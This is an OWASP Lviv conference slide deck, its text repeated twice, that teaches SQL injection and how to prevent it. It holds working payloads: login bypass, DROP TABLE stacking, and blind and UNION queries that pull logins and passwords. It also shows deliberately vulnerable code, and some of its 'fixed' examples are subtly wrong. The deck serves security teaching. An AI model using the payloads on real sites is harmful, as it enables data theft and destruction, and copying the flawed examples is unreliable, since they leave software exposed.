Hacking through Injections. 
Theory and practice 
Specially for IT-Weekend Lviv 
OWASP-LVIV.blogspot.com By Nazar Tymoshyk, SoftServe
Theory: 
CODE problems 
Impact 
How to find 
How to prevent 
Practice: 
Small hack 
References 
Training Lab 
Agenda
What do you see in this request? 
GET /api/shop/discount?shopId=3&productId=1584&coupon=1y3z9 HTTP/1.1 
Host: superdupershop.com 
Cookie: ASP.NET_SessionId=10g5o4zjkmbd2i552d5j3255;.ASPXAUTH= 
f2d345118221742ee0316d4080a53af014eb8a3161db421d36aa6a86ffea6781b5584f 
4157ec85ae5956cfc54cc93c34a3f9449c8ef4c70b5b54d46e0def3677cce9a810534 
0b8ccc6c8e64dfa37ae953f987517
What is SQL Injection? 
Unauthorized database access by an external 
source using specially crafted code to 
piggyback on standard user input to bypass 
normal protections. 
Why? 
Gain access to restricted website areas 
Query unauthorized data 
Delete or corrupt data 
 User accounts, credentials, and personal 
information 
 Descriptions and prices of goods for sale 
 Orders, account statements, and payment 
details 
 The privileges of each user within the 
application
This is a real problem and it’s dangerous 
• DoS 
• Data loss or corruption 
• Data leakage 
• Sometimes can lead to complete host 
takeover 
• Reputation can be harmed.
Let’s start from smallHACK 
http://127.0.0.1:8888/mutillidae/
SQL-i 
SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’ 
INJECT : admin’-- 
SELECT * FROM users WHERE username = ‘admin’ -- ’ AND password = ‘foo’ 
SELECT * FROM users WHERE username = ‘admin’
Consequences
Training Lab • DVWA 
• Gruyere 
• WebGoat .Net 
• WebGoat Java 
• https://xss-game. 
appspot.com/ 
• OWASP Mutillidae II 
• OWASP Broken Web 
Applications Project 
• https://www.hacking-lab. 
com
Aha, here is a source code for firsrequest 
var shopId = Request["shopId"]; 
var productId = Request["productId"]; 
var coupon = Request["coupon"]; 
var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); 
var sqlCommandTxt = string.Format(" SELECT value FROM Discounts WHERE 
coupon LIKE {0}", coupon); 
var cmd = new SqlCommand(sqlCommandTxt, dataConnection); 
// Execute query, process result etc...
Let’s Fix this code. 
var shopId = Request["shopId"]; 
var productId = Request["productId"]; 
var coupon = Request["coupon"]; 
var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); 
var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon LIKE 
@couponPattern", dataConnection); 
cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern)); 
// Execute query, process result etc... 
Is it fixed?
Now it’s fixed 
var shopId = 0; 
if (!int.TryParse(Request["shopId"], out shopId)) 
{ throw new InvalidArgumentException(); 
} 
var productId = 0; 
if (!int.TryParse(Request["productId"], out productId)) 
{ throw new InvalidArgumentException(); 
} 
var coupon = Request["coupon"]; 
if (!Regex.IsMatch(coupon, "^[A-Za-z0-9]{5}$")) 
{ throw new InvalidArgumentException(); 
} 
var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); 
var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon=@couponPattern", dataConnection); 
cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern)); 
// Execute query, process result etc...
Python Code 
import MySQLdb 
def book_search_view(request): 
if 'bookname' not in request.GET: 
raise Http404 
conn = MySQLdb.connect (host = "localhost", user = "testuser", passwd = "testpass", db = 
"test") 
cursor = conn.cursor () 
name = request.GET['bookname'] 
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) 
row = cursor.fetchone () 
cursor.close () 
conn.close () 
return render_to_response('booklist.html', row, 
context_instance=RequestContext(request))
A small problem 
• Normal SQL 
• name=“Moby Dick” 
SELECT * FROM table_books WHERE book_name = ‘Moby Dick’ 
• SQL Injection – bad day 
• name=“1’; SELECT * from Users; --” 
SELECT * FROM table_books WHERE book_name = ‘1’; 
SELECT * from Users; 
--’ 
• SQL Injection 2 – really bad day 
• name=“1’; DROP TABLE Users; --” 
SELECT * FROM table_books WHERE book_name = ‘1’; 
DROP TABLE Users; 
--’
Java Code
Detection Techniques
TOOLS 1. sqlmap: automatic SQL injection and 
database takeover tool 
2. SQL Inject Me :: Add-ons for Firefox 
3. Zed Attack Proxy 
4. Burp Suite 
5. W3AF 
6. Wapiti 
7. Havij Pro 
8. Nikto 
9. IronWASP
DEMO 2 
Testing security tools: 
•SQL Map 
•Burp Suite
MANUAL Penetration Testing 
• Error 
• Union 
In-band 
• Dns 
• Ping 
Out-band 
• Sleep 
•Waitfor 
Inferential 
(Blind)
This is old problem BLIND 
• sleep%281%29%2b1%29%20limit%201%20-- 
• sleep(1)+1) limit 1 -- 
• 1+and+sleep(10)-- 
• 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='a',sleep(10),1)-- 
• 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='2',sleep(10),1)-- 
• +OR+1=1-- 
• +union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns-- 
• +union+select+concat_ws(0x3a,id,login,password,name)+from+users-- 
• +union+select+concat_ws(0x3a,id,login,password,name)+from+users-- 
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+li 
mit+0,1)))-- 
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w 
here+table_schema!='information_schema'+limit+0,1)))-- 
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w 
here+table_schema!='information_schema'+limit+3,1)))-- 
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w 
here+table_schema!='information_schema'+limit+4,1)))--
Typical examples of cases when an 
application needs to talk to a DB include: 
The first step in this test is to understand when the application 
interacts with a DB Server in order to access some data. 
1. Authentication forms: when authentication is performed using a 
web form, chances are that the user credentials are checked 
against a database that contains all usernames and passwords (or, 
better, password hashes). 
2. Search engines: the string submitted by the user could be used in 
a SQL query that extracts all relevant records from a database. 
3. E-Commerce sites: the products and their characteristics (price, 
description, availability, etc) are very likely to be stored in a 
database.
Prevention
General approaches to SQL Injection 
Defense 
Primary Defenses: 
Option #1: Use of Prepared Statements (Parameterized Queries) 
Option #2: Use of Stored Procedures 
Option #3: Escaping all User Supplied Input 
Additional Defenses: 
Also Enforce: Least Privilege 
Also Perform: White List Input Validation 
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Where to Learn more 
• http://www.pluralsight.com/courses/web-security-owasp-top10-big-picture 
• http://www.pluralsight.com/courses/owasp-top10-aspdotnet-application- 
security-risks 
• http://www.irongeek.com/i.php?page=security/hackingillustrated 
• http://google-gruyere.appspot.com/ 
• https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL- 
005)
http://OWASP-LVIV.blogspot.com
Thank you 
Contact me: 
Nazar Tymoshyk 
Skype: root_nt 
Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com
Blind SQL injections 
http://site/?param=-1 OR 1=1 
http://site/?param=-1 OR 1=1-- 
... 
http://site/?param=-1' 
http://site/?param=-1' AND 1=2 
... 
http://site/?param=-1' OR '1'='1 
... 
http://site/?param=-1"/* 
... 
http://site/?param=2 
http://site/?param=1 
http://site/?param=2-1 
... 
http://site/?param=1' AND 1=1 
http://site/?param=1' AND '1'='1
Double Blind SQL-i 
• http://site/?param=-1 AND benchmark(2000,md5(now())) 
• ... 
• http://site/?param=-1' AND benchmark(2000,md5(now()))--
Escape User Input 
• Hard to do right 
• You’ll probably screw it up if you don’t cover all the cases 
• So don’t write your own regex 
• MySQLdb.escape_string 
• Pro: Handles almost all encoding evasions 
• Con: Error prone because it depends on humans to always use it
import MySQLdb 
def book_search_view(request): 
if 'bookname' not in request.GET: 
raise Http404 
conn = MySQLdb.connect (host = "localhost", user = "testuser", 
passwd = "testpass", db = "test") 
cursor = conn.cursor () 
name = MySQLdb.escape_string(request.GET['bookname'] ) 
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % 
name) 
row = cursor.fetchone () 
cursor.close () 
conn.close () 
return render_to_response('booklist.html', row, 
context_instance=RequestContext(request))
What does the escaped version 
look like? 
• SQL Injection – bad day 
• name=“1’; SELECT * from Users; --” 
SELECT * FROM table_books WHERE book_name = ‘1’; SELECT * from Users; --’ 
• SQL Injection 2 – really bad day 
• name=“1’; DROP TABLE Users; --” 
SELECT * FROM table_books WHERE book_name = ‘1’;DROP TABLE Users; --’
Evasion Techniques 
http://www.f5.com/pdf/white-papers/sql-injection-detection-wp.pdf
Even more Evasion Techniques 
• Multibyte atttacks 
• http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string 
• http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html 
• Even the experts don’t get it right 
• MySQL patches bugs in their escaping routines
White List 
• Scrub data to a known set of inputs 
• Pros 
• Works well for variables with limited range 
• Fast 
• Cons 
• Can only be used in customized locations 
• Error prone 
• You might forgot 
• Or the intern might not understand 
• Example: user id must only contain 6 numbers
Stored Procedures 
• Use the inherent store procedure capabilities 
• Pros 
• Forces parameterization of all user input 
• Cons 
• Can still be bypassed if sql string is generated in code and passed to stored 
procedure 
• Not portable between databases
Parameterized Queries 
• Use DB API (mysqldb.execute) properly 
• Use Django ORM 
• Use SQLAlchemy (pylons, flask) 
• Really have to work hard to expose yourself 
• Pros 
• Generally easier to model data 
• Cons 
• ORMs sometimes limit advanced SQL 
• Bottom line: use a framework!
MySQLdb.execute 
Bad: 
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) 
Good: 
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" , name) 
Seriously? 
Yes
Thank you 
Contact me: 
Nazar Tymoshyk 
Skype: root_nt 
Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com

Hack through Injections

  • 1.
    Hacking through Injections. Theory and practice Specially for IT-Weekend Lviv OWASP-LVIV.blogspot.com By Nazar Tymoshyk, SoftServe
  • 2.
    Theory: CODE problems Impact How to find How to prevent Practice: Small hack References Training Lab Agenda
  • 3.
    What do yousee in this request? GET /api/shop/discount?shopId=3&productId=1584&coupon=1y3z9 HTTP/1.1 Host: superdupershop.com Cookie: ASP.NET_SessionId=10g5o4zjkmbd2i552d5j3255;.ASPXAUTH= f2d345118221742ee0316d4080a53af014eb8a3161db421d36aa6a86ffea6781b5584f 4157ec85ae5956cfc54cc93c34a3f9449c8ef4c70b5b54d46e0def3677cce9a810534 0b8ccc6c8e64dfa37ae953f987517
  • 4.
    What is SQLInjection? Unauthorized database access by an external source using specially crafted code to piggyback on standard user input to bypass normal protections. Why? Gain access to restricted website areas Query unauthorized data Delete or corrupt data  User accounts, credentials, and personal information  Descriptions and prices of goods for sale  Orders, account statements, and payment details  The privileges of each user within the application
  • 5.
    This is areal problem and it’s dangerous • DoS • Data loss or corruption • Data leakage • Sometimes can lead to complete host takeover • Reputation can be harmed.
  • 6.
    Let’s start fromsmallHACK http://127.0.0.1:8888/mutillidae/
  • 7.
    SQL-i SELECT *FROM users WHERE username = ‘marcus’ and password = ‘secret’ INJECT : admin’-- SELECT * FROM users WHERE username = ‘admin’ -- ’ AND password = ‘foo’ SELECT * FROM users WHERE username = ‘admin’
  • 8.
  • 10.
    Training Lab •DVWA • Gruyere • WebGoat .Net • WebGoat Java • https://xss-game. appspot.com/ • OWASP Mutillidae II • OWASP Broken Web Applications Project • https://www.hacking-lab. com
  • 11.
    Aha, here isa source code for firsrequest var shopId = Request["shopId"]; var productId = Request["productId"]; var coupon = Request["coupon"]; var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); var sqlCommandTxt = string.Format(" SELECT value FROM Discounts WHERE coupon LIKE {0}", coupon); var cmd = new SqlCommand(sqlCommandTxt, dataConnection); // Execute query, process result etc...
  • 12.
    Let’s Fix thiscode. var shopId = Request["shopId"]; var productId = Request["productId"]; var coupon = Request["coupon"]; var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon LIKE @couponPattern", dataConnection); cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern)); // Execute query, process result etc... Is it fixed?
  • 13.
    Now it’s fixed var shopId = 0; if (!int.TryParse(Request["shopId"], out shopId)) { throw new InvalidArgumentException(); } var productId = 0; if (!int.TryParse(Request["productId"], out productId)) { throw new InvalidArgumentException(); } var coupon = Request["coupon"]; if (!Regex.IsMatch(coupon, "^[A-Za-z0-9]{5}$")) { throw new InvalidArgumentException(); } var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon=@couponPattern", dataConnection); cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern)); // Execute query, process result etc...
  • 14.
    Python Code importMySQLdb def book_search_view(request): if 'bookname' not in request.GET: raise Http404 conn = MySQLdb.connect (host = "localhost", user = "testuser", passwd = "testpass", db = "test") cursor = conn.cursor () name = request.GET['bookname'] cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) row = cursor.fetchone () cursor.close () conn.close () return render_to_response('booklist.html', row, context_instance=RequestContext(request))
  • 15.
    A small problem • Normal SQL • name=“Moby Dick” SELECT * FROM table_books WHERE book_name = ‘Moby Dick’ • SQL Injection – bad day • name=“1’; SELECT * from Users; --” SELECT * FROM table_books WHERE book_name = ‘1’; SELECT * from Users; --’ • SQL Injection 2 – really bad day • name=“1’; DROP TABLE Users; --” SELECT * FROM table_books WHERE book_name = ‘1’; DROP TABLE Users; --’
  • 16.
  • 17.
  • 18.
    TOOLS 1. sqlmap:automatic SQL injection and database takeover tool 2. SQL Inject Me :: Add-ons for Firefox 3. Zed Attack Proxy 4. Burp Suite 5. W3AF 6. Wapiti 7. Havij Pro 8. Nikto 9. IronWASP
  • 19.
    DEMO 2 Testingsecurity tools: •SQL Map •Burp Suite
  • 20.
    MANUAL Penetration Testing • Error • Union In-band • Dns • Ping Out-band • Sleep •Waitfor Inferential (Blind)
  • 21.
    This is oldproblem BLIND • sleep%281%29%2b1%29%20limit%201%20-- • sleep(1)+1) limit 1 -- • 1+and+sleep(10)-- • 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='a',sleep(10),1)-- • 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='2',sleep(10),1)-- • +OR+1=1-- • +union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns-- • +union+select+concat_ws(0x3a,id,login,password,name)+from+users-- • +union+select+concat_ws(0x3a,id,login,password,name)+from+users-- • +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+li mit+0,1)))-- • +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w here+table_schema!='information_schema'+limit+0,1)))-- • +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w here+table_schema!='information_schema'+limit+3,1)))-- • +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w here+table_schema!='information_schema'+limit+4,1)))--
  • 22.
    Typical examples ofcases when an application needs to talk to a DB include: The first step in this test is to understand when the application interacts with a DB Server in order to access some data. 1. Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes). 2. Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database. 3. E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.
  • 23.
  • 24.
    General approaches toSQL Injection Defense Primary Defenses: Option #1: Use of Prepared Statements (Parameterized Queries) Option #2: Use of Stored Procedures Option #3: Escaping all User Supplied Input Additional Defenses: Also Enforce: Least Privilege Also Perform: White List Input Validation https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
  • 25.
    Where to Learnmore • http://www.pluralsight.com/courses/web-security-owasp-top10-big-picture • http://www.pluralsight.com/courses/owasp-top10-aspdotnet-application- security-risks • http://www.irongeek.com/i.php?page=security/hackingillustrated • http://google-gruyere.appspot.com/ • https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL- 005)
  • 26.
  • 27.
    Thank you Contactme: Nazar Tymoshyk Skype: root_nt Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com
  • 28.
    Blind SQL injections http://site/?param=-1 OR 1=1 http://site/?param=-1 OR 1=1-- ... http://site/?param=-1' http://site/?param=-1' AND 1=2 ... http://site/?param=-1' OR '1'='1 ... http://site/?param=-1"/* ... http://site/?param=2 http://site/?param=1 http://site/?param=2-1 ... http://site/?param=1' AND 1=1 http://site/?param=1' AND '1'='1
  • 29.
    Double Blind SQL-i • http://site/?param=-1 AND benchmark(2000,md5(now())) • ... • http://site/?param=-1' AND benchmark(2000,md5(now()))--
  • 30.
    Escape User Input • Hard to do right • You’ll probably screw it up if you don’t cover all the cases • So don’t write your own regex • MySQLdb.escape_string • Pro: Handles almost all encoding evasions • Con: Error prone because it depends on humans to always use it
  • 31.
    import MySQLdb defbook_search_view(request): if 'bookname' not in request.GET: raise Http404 conn = MySQLdb.connect (host = "localhost", user = "testuser", passwd = "testpass", db = "test") cursor = conn.cursor () name = MySQLdb.escape_string(request.GET['bookname'] ) cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) row = cursor.fetchone () cursor.close () conn.close () return render_to_response('booklist.html', row, context_instance=RequestContext(request))
  • 32.
    What does theescaped version look like? • SQL Injection – bad day • name=“1’; SELECT * from Users; --” SELECT * FROM table_books WHERE book_name = ‘1’; SELECT * from Users; --’ • SQL Injection 2 – really bad day • name=“1’; DROP TABLE Users; --” SELECT * FROM table_books WHERE book_name = ‘1’;DROP TABLE Users; --’
  • 33.
  • 34.
    Even more EvasionTechniques • Multibyte atttacks • http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string • http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html • Even the experts don’t get it right • MySQL patches bugs in their escaping routines
  • 35.
    White List •Scrub data to a known set of inputs • Pros • Works well for variables with limited range • Fast • Cons • Can only be used in customized locations • Error prone • You might forgot • Or the intern might not understand • Example: user id must only contain 6 numbers
  • 36.
    Stored Procedures •Use the inherent store procedure capabilities • Pros • Forces parameterization of all user input • Cons • Can still be bypassed if sql string is generated in code and passed to stored procedure • Not portable between databases
  • 37.
    Parameterized Queries •Use DB API (mysqldb.execute) properly • Use Django ORM • Use SQLAlchemy (pylons, flask) • Really have to work hard to expose yourself • Pros • Generally easier to model data • Cons • ORMs sometimes limit advanced SQL • Bottom line: use a framework!
  • 38.
    MySQLdb.execute Bad: cursor.execute("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) Good: cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" , name) Seriously? Yes
  • 39.
    Thank you Contactme: Nazar Tymoshyk Skype: root_nt Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com